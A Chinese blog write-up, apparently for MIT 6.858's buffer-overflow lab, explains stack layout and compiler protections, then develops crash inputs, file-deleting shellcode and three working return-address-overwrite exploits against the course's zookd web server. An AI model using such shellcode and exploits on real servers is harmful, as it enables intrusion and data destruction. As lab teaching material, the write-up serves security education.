Mit 6.858 Spring 2020 Lab 1: Buffer overflows

1.前置知识

1.1 进程地址空间

1.2 函数调用栈

1.3 攻击自己的代码
  • 根据栈布局找到返回地址的位置
  • 找到需要跳转到的函数地址
  • 将返回地址处的内容改为函数地址
1.4 攻击别人的代码原理
  • 需要有一段生成shell的可执行代码
  • 能够找到一个返回地址
  • 用shellcode覆盖返回地址
1.5 攻击别人的代码方法
  • 取消栈地址随机化

  • 将shellcode填充在large_string的中部,前面一律填充为NOP指令

  • 组成为:一段NOP命令 + shellcode + 猜测的地址

1.6 linux程序常用保护机制
  • CANNARY: 栈保护

    • fstack-protector:启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码。

    • -fstack-protector-all:启用堆栈保护,为所有函数插入保护代码。

    • -fno-stack-protector:禁用堆栈保护。

  • FORTIFY:检查缓冲区溢出的错误

    • 适用情形是程序采用大量的字符串或者内存操作函数,如memcpy,memset,stpcpy,strcpy,strncpy,strcat,strncat,sprintf,snprintf,vsprintf,vsnprintf,gets以及宽字符的变体。
    • gcc -o test test.c // 默认情况下,不会开这个检查
    • gcc -D_FORTIFY_SOURCE=1 -o test test.c // 较弱的检查
    • gcc -D_FORTIFY_SOURCE=2 -o test test.c // 较强的检查
  • NX(DEP):栈不可执行

    • gcc -o test test.c // 默认情况下,开启NX保护
    • gcc -z execstack -o test test.c // 禁用NX保护
    • gcc -z noexecstack -o test test.c // 开启NX护
  • PIE(ASLR): 内存地址随机化

    • gcc -o test test.c // 默认情况下,不开启PIE
    • gcc -fpie -pie -o test test.c // 开启PIE,此时强度为1
    • gcc -fPIE -pie -o test test.c // 开启PIE,此时为最高强度2
    • gcc -fpic -o test test.c // 开启PIC,此时强度为1,不会开启PIE
    • gcc -fPIC -o test test.c // 开启PIC,此时为最高强度2,不会开启PIE
  • RELRO: 全局符号表攻击

2.环境配置

2.1 安装虚拟机
  • 选用vmware
  • 创建虚拟磁盘,选择6.858-x86_64-v20.vmdk作为磁盘,删除原有磁盘
  • 开启虚拟机输入账号 student 密码 6858
  • 最后得到界面如下:

2.2 ssh连接到虚拟机
  • 查看ip
ip addr show dev eth0
  • ssh连接到虚拟机
ssh -p 2222 student@192.168.121.136
2.3 实验内容
  • 下载实验内容

    git clone https://web.mit.edu/6858/2022/lab.git
    
  • 构建文件

    cd lab 
    make
    

3 实验内容

3.1 bufferflow
3.1.1 zookd.c函数功能
  • start_server: 开启某个特定端口并开始监听
  • run_server: 开启服务器,创建子进程处理连接上来的请求
  • process_client:对用户发来的请求进行解析,分别解析请求行和请求头部
  • http_read_line: 从http报文中读取一行,用size限制了长度,将结果保存在了buf中
  • http_request_line: 分别解析了 请求方法、url、请求协议、并添加到环境变量中
  • http_request_headers: 读取http报文,并分离处key和value,将value传递给url_decode解析,并添加到环境变量。
  • url_decode:解析value,处理’src为%'、 ‘+’、 和其他情况。
  • http_serve: 服务端程序,分为处理可执行文件、文件夹、文件三种
  • http_serve_executable: 返回可执行文件
  • http_serve_dirctory: 返回文件夹操作
  • http_serve_server_file:返回文件服务操作
3.1.1 bufferflow1
  • 在http_request_header调用了sprintf函数,这是一个不安全的函数,函数有三个参数,envvar、”HTTP_%s"、 buf。这个函数的作用是先将"HTTP__"和buf拼接,然后复制到envvar中,这里buf的最大长度是8192,而envvar长度是512,我们可以将buf溢出到返回地址中,这里buf为http头部的key,我们可以选择将2000个’A’填充在buf中,最后得到的POC如下:

    def build_exploit(shellcode):  
        req = b"GET"
        req = req + b" / HTTP/1.0\r\n"
        for i in range (2000):
            req = req + b"A"
        req = req + b": abc.com\r\n"
        req = req + b"\r\n"
        return req
    
3.1.2 bufferflow2
  • 在http_request_line中调用了url_decode函数,这里传入了参数reqpath和sp1,作用是将sp1处的字符串拷贝到reqpath地址处,但url_decode此处并不做长度的检查。reqpath的长度为4096,而sp1这里最长可以达到8192,因此我们可以考虑将sp1指向的内容设置为5000,这里溢出的内容可以覆盖到返回地址,最终使得程序崩溃。根据上述考虑,我们得到的POC如下:

    def build_exploit(shellcode):
        req =   b"GET /"
        for i in range(5000):
            req = req + b"A"
        req = req + b" HTTP/1.0\r\n"
        req = req + b"\r\n"
        return req
    
3.1.3 bufferflow3
  • 在http_request_header中同样调用了url_decode,这里传入的参数是value和sp,这里value的长度是512,而sp的长度是8192,和上面一样,但这里我们需要修改的内容是http报文头部,得到的POC如下:

    def build_exploit(shellcode):
        req =   b"GET / HTTP/1.0\r\n"
        req = req + b"HOST: "
        for i in range(2000):
            req += b"C"
        req += b"\r\n"
        req += b"\r\n"
        return req
    
  • 实验结果

3.2 shellcode
3.2.1 gdb调试
  • 开启程序zookd程序

    ./clean-env.sh ./zookd-exstack 8080 &
    
  • 开启gdb,并打上断点

    gdb -q -p $(pgrep zookd-)
    
  • 连接上服务器

    curl 192.168.121.136:8080
    
  • 找到http_request_headers的返回地址

3.2.2 编写unlink汇编程序
  • 执行脚本

    // 多余一个参数时,后面要加上一个NULL
    argv = {"bin/unlink", "home/student/grades.txt", NULL};
    envp = {0};
    execve("bin/unlink", argv, envp);
    
  • 定义string

    #define STRING "/usr/bin/unlink_/home/student/grades.txt"
    #define STRLEN 40
    #define ARGV (STRLEN + 1)
    #define ENVP (ARGV+24)          
    #define OFFSET 16
    
  • 传递参数

    popq 	%rcx					# 将STRING的地址载入参数
    movq 	%rcx, (ARGV)(%rcx)		# 将STRING的地址放入argv0中
    leaq 	(OFFSET)(%rcx), %rax	# 取处argv1的地址
    movq 	%rax, (ARGV+8)(%rcx)	# 填写argv1的地址
    xorq 	%rax, %rax				# 清0
    movq 	%rax, (ARGV+16)(%rcx)	# argv2=NULL
    movq 	%rax, (ENVP)(%rcx)		# 填写envp为0
    movb 	%al, (OFFSET - 1)(%rcx)	# 第一个参数的结束字符设为0
    movb 	%al, (STRLEN)(%rcx)		# 填写string的结束字符
    
  • 系统调用

    movb  	$SYS_execve,%al       	# 系统调用号
    movq    %rcx,%rdi        		# string地址
    leaq    ARGV(%rcx),%rsi         # argv地址
    leaq    ENVP(%rcx),%rdx         # envp地址
    syscall
    
  • 汇总

    include <sys/syscall.h>
    
    #define STRING "/usr/bin/unlink_/home/student/grades.txt"
    #define STRLEN 40
    #define ARGV (STRLEN + 1)
    #define ENVP (ARGV+24)          
    #define OFFSET 16
    
    .globl main
            .type   main, @function
    
     main:
            jmp     calladdr
    
     popladdr:
            popq    %rcx
            movq    %rcx, (ARGV)(%rcx)
            leaq    (OFFSET)(%rcx), %rax
            movq    %rax, (ARGV+8)(%rcx)
            xorq    %rax, %rax
            movq    %rax, (ARGV+16)(%rcx)
            movq    %rax, (ENVP)(%rcx)
            movb    %al, (OFFSET - 1)(%rcx)
            movb    %al, (STRLEN)(%rcx)
    
            movb    $SYS_execve,%al
            movq    %rcx,%rdi
            leaq    ARGV(%rcx),%rsi
            leaq    ENVP(%rcx),%rdx
            syscall
    
            xorq    %rax,%rax               /* get a 64-bit zero value */
            movb    $SYS_exit,%al           /* set up the syscall number */
            xorq    %rdi,%rdi               /* syscall arg 1: 0 */
            syscall                         /* invoke syscall */
     calladdr:
            call    popladdr
            .ascii  STRING
    
    
  • 测试

    make
    ./run-shellcode shellcode.bin
    

  • 成功删除grades.txt!

3.2.3 exploxit解法1 (基于bufferflow1)
  • 一个比较自然的想法就是利用bufferflow1,根据缓冲区溢出的原理,我们需要得到返回地址($rbp+8)和envvar的地址。

    (gdb) b http_request_headers     # 打断点
    (gdb) c						     # 运行
    (gdb) layout reg				 # 查看寄存器布局
    (gdb) p $rbp                     # ebp上即为返回地址
    $1 = (void *) 0x7fffffffdcc0     # 故返回地址为0x7fffffffdcc8
    (gdb) n							 # 执行一步
    (gdb) p &envvar					 # 查看envvar的地址
    $2 = (char (*)[512]) 0x7fffffffd890	# 数组地址为0x7fffffffd890
    
  • 根据返回地址和数组地址填充buff, 将buf部分设置为shellcode + 填充字符 + buffer地址。考虑到envvar中含有额外的5个字符HTTP_,填充时需要除去这个5个字符,在返回地址中要加上5.

stack_buffer = 0x7fffffffd890
stack_retaddr = 0x7fffffffdcc8 

def build_exploit(shellcode):
    shellcode = open("shellcode.bin", "rb").read()
    
    req = b"GET"
    req = req + b" / HTTP/1.0\r\n"
    req = req + shellcode + b"A"*(stack_retaddr - stack_buffer - len(shellcode) - 5)
    req = req + struct.pack("<Q", stack_buffer + 5)
    req = req + b": abc.com\r\n"
    req = req + b"\r\n"
    return req
  • 让人遗憾的是,返回地址为0x00007fffffffdcc8.这里由于返回地址含有0x00这个byte,因此导致readline读到了0x00这个字符直接截断了整个字符串,这样会导致程序提前中断。但幸运的是http_request_headers会将":"和后面的空格设置为0,这样恰好为我们凑出来两个0x00地址,我们只需要除去地址后面的两个0即可,修改后的代码如下:

    stack_buffer = 0x7fffffffd890
    stack_retaddr = 0x7fffffffdcc8 
    
    def build_exploit(shellcode):
        shellcode = open("shellcode.bin", "rb").read()
        
        req = b"GET"
        req = req + b" / HTTP/1.0\r\n"
        req = req + shellcode + b"A"*(stack_retaddr - stack_buffer - len(shellcode) - 5)
        req = req + struct.pack("<Q", stack_buffer + 5)		# 添加返回地址
        req = req[:-2]		# 删除后面两个0
        req = req + b": abc.com\r\n"
        req = req + b"\r\n"
        return req
    
  • 但经过调试了整整半天发现,这里存在一个十分隐蔽的bug,在http_requset_headers中存在如下代码段,这里将所有的字母转成了大写,这样不知不觉的改变了我们写的shellcode,要想改变这种情况,只能删掉这段代码。

    for (i = 0; i < strlen(buf); i++) {
    	buf[i] = toupper(buf[i]);
        if (buf[i] == '-')
             buf[i] = '_';
    }
    
  • 删掉这段代码后,重新编译能够实现删除文件的操作,但无法通过测试,只能寻找更为完备的解法。

3.2.4 exploxit解法2 (基于bufferflow2)
  • 想要不修改http.c,必须处理两个棘手的问题

    • 怎么防止0x00被readline截取?这里我们可以直接删去后两个0x00,我们可以利用栈中的初始化的缺省0刚好凑出正确的地址。
    • 如何防止shellcode被中间程序中的字符串处理隐蔽的修改的?幸运的是,剩下两个offerflow都不会出现这样的字符串处理。
  • 针对这个漏洞,我们需要找到进入reqpath和返回地址,我们进入http_request_path中gdb调试即可。除此之外,shellcode的最前方存在一个’/'字符,我们需要在处理时要注意这一点。最终得到的结果如下:

    stack_buffer = 0x7fffffffdce0
    stack_retaddr = 0x7fffffffecf8
    
    
    def build_exploit(shellcode):
        shellfile = open("shellcode.bin", "rb").read()
    
        req =  b"GET /"
        req += shellcode + b"A"*(stack_retaddr - stack_buffer - len(shellcode) - 1) 
        req += struct.pack('<Q', stack_buffer + 1)		# 跳过'/’字符
        req = req[:-2]
        req += b" HTTP/1.0\r\n"
        req += b"\r\n"
        return req
    
  • 最终通过测试!

3.2.5 exploxit解法3 (基于bufferflow3)
  • 做到这里,所有的bug我们已经全部踩完,针对bufferflow3的shellcode是三个里面最简单的。我们只需要gdb处value和返回地址即可。针对这个的bufferflow也是实现起来最简单的一个。

  • stack_buffer = 0x7fffffffda90
    stack_retaddr = 0x7fffffffdcc8
    
    def build_exploit(shellcode):
        shellfile = open("shellcode.bin", "rb").read()
    
        req =   b"GET / HTTP/1.0\r\n" 
        req += b"EXP: "
        req += shellcode + b"A" * ((stack_retaddr - stack_buffer) - len(shellcode))
        req += struct.pack('<Q', stack_buffer)
        req += b"\r\n"
        return req
    
  • 这个很顺利能够通过测试!

3.3 总结
  • 整个实验过程耗费了2天半,其中配置环境花了半天,bufferflow花了半天,针对exploxit1的调试花了整整一天,一直调试到凌晨两点,后面两个exploxit总共花了半个下午完成。
  • 虽然过程很艰辛,但看到"PASS"的同时心中还是感到一丝欣慰。

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值